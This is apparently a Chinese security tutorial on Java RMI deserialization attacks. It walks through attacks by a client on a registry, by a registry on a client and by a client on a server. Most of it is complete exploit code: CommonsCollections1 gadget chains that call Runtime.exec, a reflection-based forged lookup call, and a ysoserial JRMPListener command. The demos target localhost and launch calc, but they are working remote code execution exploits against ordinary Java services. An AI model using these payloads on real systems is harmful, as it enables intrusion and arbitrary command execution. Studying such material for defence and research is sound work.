Java反序列化-RMI的几种攻击方式
RMI的基本攻击方式
RMI Client打RMI Registry
RMI Client打RMI Server
RMI Client
打RMI Registry
与注册中心的交互主要是这句话
Naming.bind("rmi://127.0.0.1:1099/sayHello", new RemoteObjImpl());
这里的交互方法不只有bind,一系列的方法在RegistryImpl_Skel#dispatch
bind
list
lookup
rebind
unbind
list攻击
list()方法可以列出目标上所有绑定的对象,但因为此方法不能但序列化比较鸡肋
public class RegistryListAttack {
public static void main(String[] args) throws Exception {
RemoteObjlmpl remoteObj = new RemoteObjlmpl() {
@Override
public String sayHello(String keywords) throws RemoteException {
return null;
}
};
String[] s = Naming.list("rmi://127.0.0.1:1099");
System.out.println(s);
}
}
但是查看list的源码,这里只有writeObject
没有 readObject
,无法进行反序列化,攻击面比较窄。
bind或rebind攻击
查看bind和rebind的源码,可以看到这里是有readObject的
这里反序列化的参数是参数名和远程对象。
这里我们的exp利用cc1链写,回顾一下cc1链的内容,它最后是InvocationHandler.readObject(),所以我们要让客户端的bind()调用readObject
由于客户端收到信息的时候是一个Proxy对象,让Proxy对象被执行的时候调用readObject方法,利用Proxy的newProxyInstance()写exp
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RegistrybindAttract {
public static void main(String[] args) throws Exception {
Registry registry= LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler=(InvocationHandler) CC1();
Remote remote=Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},handler));
registry.bind("test",remote);
}
public static Object CC1() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
return o;
}
}
rebind的攻击同理,把bind改成rebind就行
unbind或lookup攻击
查看unbind和lookup的源码
这里lookup只传入String类型,这里我们可以通过伪造lookup连接请求进行利用,修改lookup方法使其可以传入对象,利用反射实现。
public class AttackRegistryEXP02 {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}
public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","drunkbaby");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
return o;
}
}
打Registry Client
注册中心攻击客户端
bind
unbind
rebind
list
lookup
还是这几个方法
除了unbind和rebind都会返回数据给客户端,返回的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击,这里使用ysoserial的JRMPListener,
java -cp .\ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'
然后客户端访问
public class Client {
public static void main(String[] args) throws RemoteException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list();
}
}
服务端攻击客户端
服务端返回Object对象
User接口,返回的是Object对象
|
服务端实现 User 接口,返回 CC1 的恶意 Object 对象
|
服务端将恶意对象绑定到注册中心
|
客户端获取对象并调用
getUser()
方法,将反序列化服务端传来的恶意远程对象。
|
攻击服务端
客户端打服务端
服务端
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class VictimServer {
public class RemoteHelloWorld extends UnicastRemoteObject implements RemoteObj {
protected RemoteHelloWorld() throws RemoteException {
super();
}
public String hello() throws RemoteException {
System.out.println("调用了hello方法");
return "Hello world";
}
public void evil(Object obj) throws RemoteException {
System.out.println("调用了evil方法,传递对象为:"+obj);
}
@Override
public String sayHello(String keywords) throws RemoteException {
return null;
}
}
private void start() throws Exception {
RemoteHelloWorld h = new RemoteHelloWorld();
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello", h);
}
public static void main(String[] args) throws Exception {
new VictimServer().start();
}
}
客户端、
import Server.IRemoteHelloWorld;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
import Server.IRemoteHelloWorld;
public class RMIClient {
public static void main(String[] args) throws Exception {
IRemoteHelloWorld r = (IRemoteHelloWorld) Naming.lookup("rmi://127.0.0.1:1099/Hello");
r.evil(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}